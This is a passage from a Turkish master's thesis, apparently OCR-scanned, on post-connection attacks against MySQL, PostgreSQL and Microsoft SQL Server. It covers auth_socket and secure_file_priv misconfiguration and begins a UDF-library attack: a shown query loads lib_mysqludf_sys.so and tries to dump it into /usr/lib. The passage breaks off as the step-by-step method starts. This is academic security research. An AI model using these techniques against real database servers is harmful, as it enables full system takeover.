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Son yillarda veri kullaniminin ve miktarinin artmasiyla birlikte
veritabani yonetim sistemleri de onem kazanmistir. Teknoloji, saglik,
finans, eglence, vb gibi bircok sektdrde siklikla kullanilmasi ve kritik
Ooneme sahip veri barindirmasi ile birlikte veritabani sistemlerine

yapilan saldirilar da giinden giine artis gostermektedir.

Yapilan literatir taramasinin ardindan akademideki ¢aligsmalarin
agirlikli olarak saldirt tespit sistemleri ve savunma yontemleri lizerine
yapildigi, saldir iizerine yapilan ¢alismalarin ise bir sistem Ozelinde
degil genel gecer yontemleri icerdigi tespit edilmistir. Bundan dolay1
bu ¢alismada sisteme 6zgii saldir1 yontemleri incelenerek akademiye

katki vermek amaglanmustir.

Bu ¢alismada, diinya genelinde siklikla kullanilan veritabani yonetim
sistemlerinden olan MySQL, PostgreSQL ve Microsoft SQL Server



urtnleri, veritabanina basarili bir sekilde erisim saglayan ve ardindan
sistemi tamamen ele gecirmek isteyen bir saldirganin goéziinden
incelenmistir. Bu dogrultuda ilgili sistemlerin kimlik dogrulama
mekanizmalar1 ve denetimleri, veri i¢e-disa aktarim mekanizmalari,
veritabani programi igerisinde sunmus olduklari islevler, bu islevlerin
denetimleri ve nasil kotilye kullanilabilecegi, potansiyel saldirt
ylzeyleri incelenmistir. Ardindan tespit edilen zayifliklara ydnelik

saldirilar incelenmis ve uygulamali bir sekilde gergeklestirilmistir.

Sonraki adim olarak, Tiirkiye’de bu veritaban1 ydnetim sistemlerini
kullanan sistemlerin IP adresleri siber tehdit istihbarat platformlar
tarafindan elde edilmis, bu sistemlere yonelik gilivenlik taramalari
gerceklestirilmistir. Tarama denetimlerinin daha hizli bir sekilde
gergeklestirilebilmesi i¢in, tarafimizca bu tez ¢alismasina yonelik
olarak Zephyr adli bir arag gelistirilmis ve kullanilmigtir. Bu aracin
calisma mekanizmalar:1 tanitildiktan sonra, elde edilen IP adreslerine

yonelik gerceklestirilen taramalarin sonuglar1 degerlendirilmistir.

Son olarak, yapilan arastirmalar ve tarama sonuglari 1s1gmda ilgili
veritaban1 yonetim sistemi degerlendirilmis, ¢ok iyi yaptiklart veya

eksik olduklar1 yonler tartigiimistir.

Anahtar Kelimeler: Veritaban1 y0netim sistemleri, Veritabani
saldirilar, MySQL, PostgreSQL, Microsoft SQL Server, Baglanti

sonrasi saldirilar, Sistemi ele gegirme
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With the increase in the use and amount of data in recent years, database
management systems have also gained importance. As it is frequently
used in many sectors such as technology, health, finance, entertainment,
etc. and contains critical data, attacks on database systems are

increasing day by day.

After the literature review, it was determined that the studies in the
academy were mainly focused on intrusion detection systems and
defense methods, and the studies on the attack included common
methods rather than system-spesific tecniques. Therefore, this study
aims to contribute to the academy by examining system-specific attack

methods.

In this study, MySQL, PostgreSQL and Microsoft SQL Server
products, which are among the frequently used database management
systems around the world, were examined from the point of view of an

attacker who successfully accessed the database and then desired to take

vi



over the system completely. In this direction, the authentication
mechanisms and controls, data import-export mechanisms, the
functions they offer within the database program, the controls of these
functions and how they can be abused, potential attack surfaces have
been examined. Then, the attacks against the detected weaknesses were
examined and implemented in a practical manner. As a next step, the IP
addresses of systems that use this database management systems in
Turkey obtained by cyber threat intelligence platforms, and security
investigation for these systems was carried out. A tool called Zephyr
has been developed and used by us for this thesis study in order to carry
out scanning inspections faster. After the working mechanisms of this
tool were introduced, the results of the scans made for the obtained IP

addresses were evaluated.

Finally, the relevant database management systems were evaluated in
the light of the research and scanning results, and the aspects they did

very well or they lacked were discussed.

Keywords: Database management systems, Database attacks, MySQL,
PostgreSQL, Microsoft SQL Server, Post connection attacks, System

take over
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TESEKKUR

Calismalarim boyunca degerli yardim ve katkilariyla beni yonlendiren hocam Ali
Aydi Selguk“a, kiymetli tecriibelerinden faydalandigim TOBB Ekonomi ve Teknoloji
Universitesi Bilgisayar Boliimii dgretim {iyelerine, siber istihbarat platformlar
hakkindaki bilgisiyle beni yonlendiren Berk Albayrak’a, aragtirmalarim igin iicretsiz
aragtirmaci hesab1 sunan Spyse ekibine, ¢alismalarim sirasinda hep yanimda olan ve
benden maddi manevi destegini esirgemeyen Nur’a ve destekleriyle her zaman
yanimda olan aileme ve arkadaslarima ¢ok tesekkiir ederim.
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1. GIRIS

Veri, insanlik tarihi boyunca toplumlar i¢in ¢ok dnemli bir gii¢ unsuru
olmustur. Antik ¢aglardan bu yana diismanin stratejisini zayif yonlerini
bilen, savas alan1 hakkinda bilgi sahibi olan, kisacasi1 veriye sahip olan
halklar rakiplerine kars1 hep iistiin konumda olmuglardir. Veri tarihsel
caglar boyunca farkli yontemler kullanilarak yazilmis ve saklanmistir.
Bitkilerden elde edilen boyalar, miirekkep, tebesir, daktilo gibi farkl
yazma araglar1 ve agac kabuklari, hayvan derileri, parsdmenler, kagit
gibi ¢esitli esyalar kullanilarak veriler yazilmig, saklanmig ve

glinlimiize aktarilmistir.

Teknolojinin gelismesi ve yayginlagsmasi ile birlikte kullanim alani
cesitlenen ve erisim ihtiyaci artan verilerin olusturulmasi ve saklanmasi
da dijital alanda olmaya baslamistir. Her gegen giin miktar1 artan ve
yonetimi zorlasan verileri depolamak ve daha verimli bir sekilde
yonetip islemek adina birgok firma farkli amaglara yonelik veritabani
yOnetim sistemleri gelistirmistir. Verileri satir ve kolonlardan olusan
tablolar halinde saklayabilen ve bu tablolar arasinda iliski
tanimlanmasina izin veren "iligskisel veritaban1 yOnetim sistemleri®,
verilerin satir bazli degil siitun bazli olarak anlamlandirilmasina imkan
sunan "kolon bazli veritaban1 yonetim sistemleri”, ¢cok ylksek boyutta
veri depolayabilen ve yaptigimiz sorgulara ¢ok hizli bir sekilde yanit

donen "bliyiik veri platformlar1" bunlardan yalnizca birkagidir.

Hassas veriler olarak tabir edebilecegimiz ticari, finansal veya
devletlere ait yiiksek gizlilikte verilerin miktarinin artmasiyla birlikte,

veri bir organizasyon i¢in ¢ok Onemli bir varlik haline gelmis



bulunmaktadir. Bu kritik verilerin varligi, onlar1 kullanarak finansal
gelir elde edebilecek veya sohrete kavusabilecek saldirganlarin da
istahin1 kabartmaktadir. Buna ek olarak, hassas verileri sizan kurumlar
da hem ekonomik olarak hem de o giine kadar biriktirmis olduklar1 tin

acisindan zarara ugramaktadir.

Tim bu nedenlerden dolay1, veri ve Veritaban1 giivenligi bir
organizasyon i¢in oldukega kritik bir 6nem teskil etmektedir. Kurumlar
veri glivenligi konusunda danismanlik hizmeti almak ve organizasyonel
yap1 igerisinde giivenlik takimlar1 olusturmak konusunda biiyiik

adimlar atmaktadir.

Veri kullaniminin ve saklanan bilgilerin 6neminin her gegen giin artiyor
olusu, veri depolama ve yoOnetim sistemlerine yonelik yapilan
saldirilarin sayisin artirmaktadir. Her ne kadar firmalar veri hirsizligini
onlemeye yonelik calismalar yiiriitse de, gerek sistemlerde bulunan
zafiyetler gerekse kullanici hatasindan kaynaklanan eksiklikler kotii

niyetli kisilere saldir1 yilizeyi olusturmaktadir.

1.1 Veritabam Tehditleri

Veritabanlar1 bir organizasyon igerisindeki en kritik ve hassas bilgilerin
saklandig1 alanlardir. Verilerin elektronik ortamda saklanmasini ve yine
elektronik ortam vasitasiyla erisilmesini ve paylasilmasini saglayan bu
sistemlerde bulunan veri miktar1 her gegen giin biiylik bir hizla
artmaktadir[1]. Verinin bu istel artisi da veritabani yodnetim

sistemlerinin varligini zorunlu kilmaktadir.

Verinin ve veritabani sistemlerinin kullanimimin artmast ile birlikte bu
varliklara yonelik olan saldirilarin boyutu ve miktar1 da artis
gostermektedir. Bu saldirilarin arka planinda ise farkli niyetler
bulunabilmektedir. Sohret sahibi olmak, hassas verileri satip para
kazanmak, vb gibi nedenler, kotii niyetli insanlar1 veritaban1 yonetim

sistemlerine saldirmaya tesvik edebilir.

Bir saldirganin bir veritabam1 sistemine basarili bir saldiri

yapabilmesinin kolaylastirici nedenlerinden en biiyligii, bu sistemlerin



maruz kalmis oldugu tehditlerdir. Veritabani tehdidi, bir varliga yonelik
hassas verilerin kaybolmasi veya hasar gérmesi riskini olusturabilecek
bir nesne veya bir kisiyi ifade etmektedir [2]. Impervanin yayilamis
oldugu Veritaban1 Giivenligi Tehdit Raporuma gore kurumlarin
veritabani alt yapist ¢esitli ve birbirinden tehlikeli tehditlerle karsi
karstyadir [3].

Veritabanina yonelik bulunan tehditleri iki baglk altina toplayabiliriz
[4]:

- Dahili tehditler: Organizasyon biinyesinde bulunan kisilerin
olusturmus oldugu tehditlerdir. Kullanicilara veya kullanicilarin
yuriitiiyor oldugu uygulamalara, yiiriitiilen isin gereksinimlerini asacak
miktarda yetki verilmesi durumunda, bilgisizlik(kullanicinin sistem
hakkinda yeterli donanima sahip olmamasi) veya koti niyetli
yaklagimlar ~ dahili tehditlere yol agabilir. Erisim kontrol
mekanizmalarinin yeterli olgunluk seviyesinde olmamasi veya kisith
islem zamanimin olmasi gibi durumlar, kisilere gereginden fazla yetki
verilmesi problemini dogurabilmektedir. Veritabani tehditleri yalnizca
gereginden fazla olan yetkiler sebebiyle meydana gelmemektedir. Tiim
bunlara ek olarak, kotii niyetli kisiler sistemler iizerinde sahip oldugu
mesru haklar1 da kotii amaglar i¢in kullanabilmektedir. Ornegin, ag
yoOneticisi veya veritaban1t yoneticisi konumunda olan kisiler, o
sistemlerdeki en yiiksek yetkilere sahip olurlar ve bu haklarim

organizasyonun aleyhinde olacak islemler i¢in kullanabilirler [3,4].

- Harici Tehditler: Harici tehditler, adinin da tasvir etmis oldugu gibi,
organizasyonun disarisindan gelen tehditlere isaret etmektedir. Ornek
olarak, bilgisayar korsanlari, organize sug¢ gruplari, devlet destekli siber
saldirt gruplari, doga olaylarma ilgi c¢ekmek isteyen c¢evreci
hacktivistler, vb 6rnek verilebilir.Harici tehdit gruplarinda, dahili tehdit
gruplarinda  bulunan yetkilendirme ve giliven mekanizmasi
bulunmamaktadir [5]. Bundan dolayi, saldirganlar giivenlik
aciklarindan faydalanarak, hedef sistem veya sistemler ilizerinde kotii
amaclh faaliyetler yiiriitmek icin yetkilerini siradan bir kullanici

diizeyinden en yetkili kullanici diizeyine eristirmeyi amaglar. Bu



giivenlik aciklar1 6n tanimli olarak gelen fonksiyonlarda, protokollerin
tanimlanmas1 ve uygulanmasinda ve veritabanina gonderilen
sorgularda meydana gelebilmektedir. Bunlara ek olarak, kimlik
dogrulama isleminde zayiflik bulunmasi koti amagli kisilere o
sistemdeki mesru kullanicilarin kimlik bilgilerini elde etme sans1 tanir.
Bir sistemin kaba kuvvet saldirilarina izin vermesi sonucu kullanici ad1
parola ciftleri saldirganlar tarafindan arka arkaya denenebilir ve sisteme
mesru bir giris elde edilebilir. Ayrica, sosyal miithendislik yapilarak
kimlik bilgilerinin ¢alinmasi veya sistemde bulunan yanlis veya eksik
yapilandirmadan kaynakli olarak kimlik bilgilerinin sizmasi da mesru

kullanict bilgilerinin elde edilmesini saglamaktadir [3].

Bunlara ek olarak, bircok web uygulamasinin arka planda bir
veritabani ile iletisim halinde oldugu diisiiniiliirse, OWASP Top 10
projesinin belirtmis oldugu web uygulama giivenligi zafiyetleri de
veritaban1 tehditleri olarak ele almabilir [6]. Saldirganlar SQL
enjeksiyonu, yanlis yapilandirilmis kimlik dogrulama, erisim kontrol
yonetimi gibi uygulama giivenligi zafiyeti kullanarak veritabani
sistemlerine baglant1 kurabilir. Bahsedilen giivenlik zafiyetlerinden
ozellikle SQL enjeksiyonu ayr1 bir 6neme sahiptir. SQL enjeksiyonu
saldirist ile birlikte kimlik dogrulama mekanizmalarinin atlatilmasinin
yani sira, veritabani igerisindeki veriyi yetkisiz bir sekilde okuma ve
manipile etme, veritabanina yeni kullanici ekleme gibi islemler

gergeklestirilebilir [7].

1.2 Tezin Amaci

Bu caligmanin amaci, diinya genelinde ¢ok kullanilan veritabani
yonetim sistemleri olan MySQL, PostgreSQL ve Microsoft SQL
Server’in glivenlik bakis agilarini ve bu dogrultuda gelistirmis olduklari
giivenlik mekanizmalarini sistemin tamamini ele gecirmeye ¢alisan bir
saldirganin géziinden incelemek, bu ¢alisma i¢in gelistirmis oldugumuz
otomatik tarama programi olan Zephyr’i tanitmak ve Zephyr’in tarama
sonuglarint kullanarak Tiirkiye’deki veritabani sistemlerinin glvenlik

durumunu incelemektir.



Bu baglamda, veritabanina yonelik tehditlerin dogru bir sekilde dikkate
alinmadig1 ve gilivenlik zafiyetlerinin bulundugu veritabani yonetim
sistemlerine bir saldirgan tarafindan erisildigi ve basarili bir oturum
elde edildigi takdirde, saldirganin yalnizca veritabanini kontrol etmekle
kalmay1p o sistemin tamamini ele gegirmeye yonelik yapabilecegi kotii
niyetli aktiviteler incelenecektir. Calismanin kapsami MySQL,
PostgreSQL ve Microsoft SQL Server 6zelinde sinirlandirilacak; bu
sistemlerdeki varsayilan gilivenlik mekanizmalari, bu mekanizmalarin
yanlis veya eksik yapilandirilmasi durumunda olusabilecek saldir
ylizey alanlar1 ve bu ylizey alanlar1 kullanilarak yapilacak saldir1 tiirleri,
her sistemin kendi Ozelinde detayli bir sekilde incelenecektir. Bu
boliimlerin ardindan, bu tez c¢alismast icin gelistirmis oldugumuz
Zephyr adli acik kaynak kodlu veritabani sistemi tarama ve zafiyetli
sistem kesfetme aracindan bahsedilecek; bu aracin ¢alisma
mekanizmalari, tarama yapmak i¢in kullanilan yontemler, tarama
sonucunda elde edilen c¢iktilar incelenecektir. Tarama yapilacak
sistemler ise, siber tehdit istihbarat platformlar1 olan Shodan ve Spyse
tizerinden elde edilecek, bu sistemler {lizerinden Tiirkiye’de MySQL,
PostgreSQL veya Microsoft SQL Server kullanan sistemlerin IP
adresleri sorgulanacak ve bu adreslere yonelik tarama islemleri Zephyr
tarafindan oldukca hizli ve verimli bir sekilde gerceklestirilecektir.
Uretilen tarama sonuglari incelenerek, Tiirkiye”deki veritaban1 yonetim

sistemlerinin mevcut glvenlik durumu analiz edilecektir.

Bu tez ¢aligmasi, tiim veritabani sistemleri icin genel geger saldiri
yontemlerini incelemek yerine platforma 0zgu givenlik denetimleri ve
saldir1 yoOntemlerini inceleyecegi ic¢in, akademide bulunan diger
caligmalara gore farklilik gostermektedir. Literatiirde veritabanina
yonelik saldirilarin tespiti ve savunma yontemleri ile ilgili ¢aligmalar
daha agirlikli iken, saldir1 yontemleri ve asamalarina yonelik ¢aligmalar
daha az gergeklestirilmistir. “Daha iyi savunabilmek i¢in 6nce nasil
saldirilarin oldugu anlasilmalidir” prensibinden yola ¢ikan bu ¢alisma
kapsaminda, akademide bahsi pek ge¢meyen fakat sizma testi

uzmanlar1 ve kirmizi takim {yeleri tarafindan siklikla kullanilan



yontemlerin incelemesi gergeklestirilecektir. Zephyr adli aracin
gelistirilmesi ile birlikte uygulamali bir sekilde yapilan giivenlik analizi

ile literatiire farkli acilardan katki vermek hedeflenmistir.

1.3. Literatiir Taramasi

Veritabani tehditleri boliimiinde bahsedildigi gibi, veritabanina yonelik
saldirilar saldir1 yontemi bakimindan igeriden veya disaridan olmak
iizere ikiye ayrilabilir. Bu iki yontem miktar acisindan karsilagtirilacak
olursa, organizasyonun disarisindan yapilan saldirilar toplam
saldirilarin gogunlugunu olusturmaktadir. PwC firmasinin 2018 yilinda
yayinlamis oldugu The Global State of Information Security Survey
raporuna gore sistemlere yapilan her yiliz saldirinin yalnizca otuzu
mevcut ¢alisanlar tarafindan gergeklestirilmektedir [8]. Her ne kadar
sayica az olsa da kisilerin sistemler iizerinde sahip oldugu mesru
yetkiler ve yapilacak baglantilara uygulanan denetimlerin disaridan
gelen baglantilara gore daha az olmasi gibi sebeplerden dolay1 oldukca
biiylik bir etki ve tahrip giiciine sahiptir. Bundan dolay1 her iki saldir1

yontemi de ayr1 ayr1 6nem tasimaktadir.

Wang ve Qian yaptigi c¢alismada, veritabani sistemlerine yonelik
uzaktan yapilabilecek saldirilarin tiirlerini analiz etmis ve bu saldirilara
kars1 savunma yontemleri Onermistir [9]. Kul ve digerleri ise
organizasyon igerisindeki veritaban1 kullanicilarmin yapmis oldugu
sorgulardan “niyet modeli” tanimlayarak ve igeriden gelen saldirilara

yonelik tehdit modeli olusturarak dahili tehditlere dikkat ¢ekmistir [10].

Veritabani saldirilari denilince akla gelen saldir1 yontemlerinden biri de
SQL enjeksiyonudur. Web uygulamalart ¢ogunlukla arka planda bir
veritabani sistemine sahiptir ve bu uygulamalar eger bilinyesinde SQL
enjeksiyonu zafiyeti barindiriyorsa kimlik dogrulama mekanizmasini
atlatma, veritabanina yeni kullanici ekleme, veritabani icerisinde
bulunan tablolar1 silme gibi saldirilar yiritiilebilmektedir. Web
uygulamalari iizerinde en ¢ok bulunan zafiyetleri listeleyen OWASP
Top 10 Projesi”nin bir numarasi olan SQL enjeksiyonu zafiyeti oldukga
yaygin bir zafiyet ¢esidi olmakla birlikte, istismar1 da olduk¢a kolaydir



[6]. Bu popiilerliginden dolay1, SQL enjeksiyonu hem saldir1 analizi
hem savunma yontemleri agisindan akademik birgok ¢aligmaya konu

olmustur.

Sadeghian ve digerlerinin yaptigi ¢alismada SQL enjeksiyonu tiirlerini
Ornekleriyle birlikte smiflandirmig, her tiirlin  kullanilabilecegi
durumlart ve saldir1 sonucu elde edilecek verileri aragtirmigtir [11]. Su
ise sizma testi ile ugrasan kisiler i¢in rehber niteliginde olacak bir model
onermistir. Bu modele gore, farkli katmanlar tanimlanmis ve bu
katmanlardaki her durum i¢in takip edilmesi gereken bir yol haritasi
cikarilmigtir. Bu modele gore, farkli katmanlar tanimlanmis ve bu
katmanlardaki her durum i¢in takip edilmesi gereken bir yol haritasi
¢ikarilmistir. Uretilen bu harita ve bu haritanm kullanilmasi ile elde
edilen sonuglar, SQL enjeksiyonu tarama programi olan sqlmap”in
tarama sonuglari ile karsilastirilmis, sqlmap”e gore daha az yanlis alarm

tretilmis ve daha fazla zafiyet tespiti saglanmistir [12].

Yukaridaki ¢aligmalar, SQL sorgu dili saldirilarint ve bu saldirilarin
tespitine yonelik caligmalari temel almistir. Bu yoniiyle, bu ¢alismalar
platformdan bagimsiz, SQL sorgu dili kullanan her platforma

uygulanabilecek daha genis kapsamli ¢caligsmalardir.

Bu tez ¢aligmasi kapsaminda genel geger saldir1 konseptlerinin yaninda,
platforma 6zel gilivenlik zafiyetlerine ve saldir1 ylizey alanlarina da
odaklanilmigtir. Platform 6zelinde yapilan giivenlik analizleri ise
cogunlukla bal kiipli konumlandirilmast ve gelen saldirilarin
incelenmesine dayanmaktadir. Wegerer ve Tjoa, sistemlere bal kipi
konumlandirilmasinin  sistemi korumaya calisan kisilere yoOnelik
faydalarindan bahsetmis [13], Taran ve Silnov ise MySQL sunucularini
saldirganlarin girisini kolaylastiracak sekilde olabildigince zafiyetli

hale getirip, sunucu igerisinde yapilan faaliyetleri gdzlemlemistir [14].






2. MYSQL

2.1 MySQL”e Genel Bakis

Giincel istatistiklere gore diinya genelinde en cok kullanilan acik
kaynak kodlu veritaban1 yonetim sistemi olan MySQL, Oracle
tarafindan gelistirilmektedir. C ve C++ kullanilarak gelistirilen ve farkl
derleyici ve sistemler {izerinde calisabilen MySQL, olduk¢a hizli ve
Olceklenebilir olmasmin yani swra kolaylikla kullanilabilen bir

veritabani sistemidir.

2.2 MySQL”in Giivenlik Yaklasimlar:

MySQL igerisinde kullanicilarin yapiyor oldugu her veritabani baglanti
denemesi, veritaban1 sorgular1 ve diger islemler, MySQL”in
bilinyesinde bulundurdugu "Erisim Kontrol Listesi" tabanli glivenlige
tabi tutulur. Buna ek olarak MySQL, istemci ve sunucu arasinda SSL

ile sifrelenmis baglantilar1 da desteklemektedir.

MySQL”in resmi sitesinde bulunan giivenlik kilavuzunda 6n taniml
olarak gelen "mysql" adli veritabani igerisinde bulunan kullanici
tablosuna kok hesabindan baska hicbir kullaniciya erigim izni
verilmemesi gerektigi vurgulanir. Bu giivenlik kilavuzu, ilk
yiiklemenin hemen ardindan sistem kontorli saglanmasi adina
"yapilmasi gerekenler listesi" de sunmaktadir. "Kurulumun hemen
ardindan “mysql -u root” komutu ile veritabanina baglanmay1 deneyin.
Eger herhangi bir parola sorulmadan basarili bir sekilde sisteme

baglanmay1 basarabildiyseniz, bu erisimi bagkalar1 da saglayabilir,



tistelik bu erisim en yiiksek kullanici haklar ile olacaktir! MySQL
kurulum agamalarmi tekrar takip ederek kok kullanicisina parola
atadigimmizdan emin olun." maddesinin vurgulamis oldugu gibi,
veritabani sistemi kimlik dogrulama agisindan varsayilan kurulumda
birakilmamali ve kok kullanicisi i¢in tahmin edilmesi zor ve karmasik

bir parola belirlenmelidir [15].

Yukarida bahsi gegen giivenlik ihlalini onlemek admna, MySQL

kullanicilarina “auth_socket” adini verdigi bir eklenti sunmaktadir.

2.2.1 auth_socket eklentisi

auth_socket adli eklenti, MySQL”in sahip oldugu yiizlerce eklentiden
biridir. Kullanic1 hesaplariyla dogrudan iliskili olan bu eklenti,
veritabanina yapilan erigim isteklerindeki kimlik dogrulama islemini
yonetir [16]. Bu eklentiye sahip olan kullanici hesaplarinda kimlik
dogrulama islemi su sekilde gerceklesir: Veritabanina erisim saglamak
isteyen kullanici hesab1 adi ile o an sistemde aktif olan kullanici adi
karsilastirir ve eslesmesi beklenir. Eslesmedigi takdirde veritabanina
erisim izni verilmez. Bir 6rnekle agiklamak gerekirse, sistemde 0 an
“Selim” kullanicis1 ile oturum agmis bir kullanici, veritabanindaki
“Ahmet” adli kullaniciya erismek istediginde sistem bu erigimi

kullanici adlar1 uyusmadig i¢in reddeder [17].

MySQL”in sisteme kurulumunun hemen ardindan “SELECT
user,authentication_string,plugin,host FROM mysql.user;” komutu
calistirilirsa, varsayilan olarak sistemde bulunan kok kullanicisinin
“auth_socket” eklentisine sahip oldugu goriilecektir. Bu durum, kok
kullanicist olarak veritabanina erismek icin sistemde de kok kullanicisi
olmanin gerekliligini gostermektedir. Bu ontanimli 6zellik sayesinde,
veritabanindaki kok kullanicisinin varsayilan parolasi kurulumun
ardindan degistirilmese bile, bu kullanictya yapilacak harici kaba

kuvvet saldirilar1 engellenecektir.

10



mysgl> SELECT user,authentication_string,plugin,host FROM mysql.user;

plugin | host
——————————————————————— T
root auth socket | localhost

mysql.session mysgl_native_password | localhost

mysql mysql_native_pa ord | localhost
a mysql_native ord | localhost

4 rows in set (0.00 sec)

mysal> I

Resim 2.1 MySQL”deki varsayilan kullanict hesaplarinin sahip
olduklar: eklentiler

2.2.2 secure_file_priv Sistem Degiskeni

Veritabanina yonelik olan tehditler, yetkisiz erisim sorunu ile sinirl
degildir. Veritabaninin sorgu dili i¢in saglamis oldugu 6zellikler kotii
niyetli kisilerce suistimal edilebilmektedir. Ornegin cogu veritabani,
verileri veritabanindaki tablolara aktarma ve tablodaki verilerin
dokiimiinii alma islemlerini kolaylastirict fonksiyonlara sahiptir. Bu
islemlerin zararli dosya kullanimu igin kullanilmasi ise sistemde kotii
niyetli aktivitelerin yapilabilmesine olanak saglar. Bu durumun oniine
gecebilmek adma, sunulan bir diger giivenlik Onlemi ise

“secure_file_priv”’ adli sistem degiskenidir.

MySQL c¢aligabilirligini ve siirdiiriilebilirligini koruyan bir¢ok sistem
degiskenine sahiptir. Her sistem degiskeninin bir varsayilan degeri
vardir ve bu degerler komut satirindaki veya secenekler/yapilandirma
dosyas1  kullanilarak  sistemin c¢alisma zamani baslangicinda
ayarlanabilir. Dosya ice ve disa aktarimini denetleyen bir sistem
degiskeni olan “secure_file_priv’ bos oldugu takdirde giivenlik
acisindan herhangi bir isleve sahip degildir. Bu 6nerilmeyen bir ayardir.
NULL olarak ayarlandig: takdirde ise i¢e ve disa aktarim islemlerinin
tamami engellenmis demektir. Bunlarin haricinde, “secure_file_priv”
bir dizin olarak ayarlandig1 durumda, dosya aktarimlar1 yalnizca o dizin
ve alt dizinleri i¢in gegerlilik kazanmaktadir. Segilecek dizinin sistem
kiitiiphanelerini barindiran bir dizin veya alt dizin igermemesine dikkat
edilmesi gerekir. Bir diger dikkat edilmesi gereken durum ise, segilecek
dizin veritaban1 tarafindan olusturulmamasidir. Dosya aktarim
islemlerinin basarili bir sekilde gergeklesebilmesi i¢in, segilen dizinin

sistemde var olmas1 gerekmektedir. Eger sistemde “secure_file_priv”in
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isaret ettigi dizin bulunmuyorsa veritabani hata verip kapanmaktadir

[18].

mysql> show variables like 'secure_file_priv'

_priv | fvar/lib/mysql-files/
—————— R s
1 row in set (0.04 sec)

mysql> insert into zephyr.zephyr values(load_file('/tmp/lib_mysqludf_sys.so')); Query OK, 1 row affected (0.03 sec)
mysql> select * from zephyr.zephyr inte dumpfile '/fusr/lib/lib_mysqludf sys.so';

ERROR 1i90 (HYeee): The MysQL server is running with the --secure-file-priv option so it cannot execute this statement
mysql>

Resim 2.2 secure_file priv sayesinde yapilan giivenlik denetimi

Yiiklemenin Yapildig: Sistem Varsayilan secure_file_priv
Degeri
Standalone, Win NULL (>= MySQL 5.7.16), bos

(< MySQL 5.7.16)

Deb, Rpm, Sles, Svr4 Ivar/lib/mysql-files

Tablo 2.1 Farkl: sistemlere gore secure file priv sistem degiskeninin
varsayilan degeri

2.3 Varsayllan Giivenlik Onlemlerinin Eksik veya Yanhs

Yapilandirmasi

Uygun olmayan bir sekilde yapilandirilmis giivenlik, ag altyapisi,
kullanic1 arayiizii, web sunucusu, uygulama sunucusu, veritabani,
onceden yliklenmis sanal makineler, konteynirlar veya depolama gibi
uygulama y1gininin herhangi bir seviyesinde meydana gelebilmektedir.
Sistemdeki verilere veya islevlere yetkisiz erisim saglamasina neden
olan bu tarz eksiklikler, sistemin saldirganlar tarafindan tamamen ele

gegirilmesine yol agmaktadir [19].

MySQL, sistemde zararli aktiviteler gerceklestirmek isteyen kisilere
herhangi bir agik kap1 birakmamak adina birgok Ontanimli giivenlik
onlemine sahiptir, bunlarin ikisi 6nceki béliimde anlatilmigtir. Ancak,
bu 6nlemler sistem yoneticileri tarafindan yetersiz bilgi, kolaya kagmak
gibi sebepler nedeniyle yanlis veya eksik yapilandirildigi takdirde

koruyucu etkilerini yitirir ve sistem yine saldirilara agik hale gelir.
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231 auth_socket yanhs/eksik yapilandirma

MySQL’in 5.7 siirimiinden itibaren, kurulum sirasinda kok kullanict
hesab1 i¢in bir parola ayarlamasi yapilmadigi takdirde, bu kullanicr i¢in
kimlik dogrulama agsamasinda “auth_socket” eklentisi varsayilan olarak
kullanilir. Bu eklenti aktif oldugu takdirde, veritabanina kok kullanicist
olarak erigsmek i¢in “sudo mysqgl” komutunu basarili bir sekilde
calistirtyor olmak gerekmektedir [20]. Genellikle kolaya kagmak adina,
bu giivenlik dnleminden feragat edilmektedir. Sistemdeki bir kullanict
hesabina klasik yontem olan kullanic1 adi parola cifti ile erisilmek
istenirse, “auth_socket” eklentisi devre dis1 birakilip
“mysql_native_password” adli eklentinin kullanilmas1 gerekmektedir.
Bu eklenti ile sistemdeki kullanic1 adi ile veritabanindaki kullanici adi
karsilastirilmaz, yalnizca giris bilgilerinin dogru olup olmadigi kontrol
edilir. Kok kullanicis i¢in kolaya kagildig1 ve giivenli eklentinin yerini
nispeten daha gilivensiz bir eklentinin aldig1 durumda, kok kullanici
hesabina kullanic1 adi ve parola ikilisi ile erisilebilir. Bu hesabin
parolasinin zayif ve kaba kuvvet saldirilarina agik olmasi ise yalnizca

veritabanini degil, sistemin tamamini tehlikeye atmaktadir.

2.3.2 secure_file_priv yanhs yapilandirma

Veritaban1 sistemleri tablo igeriklerini daha kolay bir sekilde
olusturabilmek veya daha hizli bir sekilde sistem yedegi elde edebilmek
gibi amaclarla dosya ice-disa aktarma mekanizmalar1 sunmaktadir. Bu
mekanizmalar her ne kadar veri transferini kolaylastiriyor olsa da,
kontrolsiiz yapilan aktarimlar hem veritaban1 hem de veritabani ile
iletisimde olan sistemler i¢in tehlike arz etmektedir [21]. Dosya aktarim
islemini kontrol eden secure file priv sistem degiskeninin gerek
bilgisizlik gerekse kolaya kagmak admna yanlhis veya eksik
yapilandirmasi, kontrolsiiz dosya ylikleme ile yapilabilecek saldirilar
icin saldir1 ylizeyi olusturur. Bu sistem degiskeninin bos olarak
birakilmasi veya sistem kiitiiphanelerini kapsayacak bir dizin olarak
atanmast durumunda, kotli niyetli bir kisi hedef veritabani sisteminde

isletim sistemi komutlar1 ¢alistirabilir.
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2.4 Hedef Sistemi Tamamen Ele Gegirme

Bir onceki kisimda da bahsedildigi gibi, her ne kadar yerlesik bircok
onlem bulunsa dahi, giivenlik zincirinin en kritik kismi olan insan
faktorii ile birlikte en giivenli sistemler bile saldirilara agik hale
gelmektedir. Bir¢ok giivenlik dnlemi arasindan ele alinip incelenen bu
iki giivenlik 6nlemi de eksik veya hatali yapilandirilmasi durumunda
birazdan bahsedilecek saldirilara sebep olabilmektedir. Bu béliimde, bir
saldirganin bir veritabanina basarili bir sekilde baglandiktan sonra

gergeklestirebilecegi iki farkli saldir1 yonteminden bahsedilecektir.

24.1 UDF Kiitiiphanesi Kullanim

Kullanict tanimli fonksiyon, bir programin kullanicis1 tarafindan
program igerisinde gelistirilebilen ve kullanilabilen islevleri

tanimlamak i¢in kullanilan terimdir.

Bu saldir1 yonteminin kullanilabilmesi i¢in, hedefteki sistemin
veritabanina erisildikten sonra “secure_file_priv”’ sistem degiskeninin
degeri Ogrenilmeli, bunun i¢inse “SHOW VARIABLES LIKE
‘secure_file_priv’;” komutu ¢alistirilmalidir. Eger bu degisken zafiyetli
bir sekilde ayarlanmissa, hedefteki sistem keyfi dosya yiikleme
islemine acik haldedir. Ardindan, yine sistem degiskenleri vasitasiyla
sistemin igletim sistemi ve mimarisi 6grenilmeli ve gereken kiitliphane
dosyast  olusturulmalidir.  Saldir1  i¢in  kullanilacak  dosya

olusturulduktan sonra su adimlar takip edilmelidir [22]:

- Hedefteki veritabaninda tiirii BLOB(Ikili Biiyiik Obje) olan bir
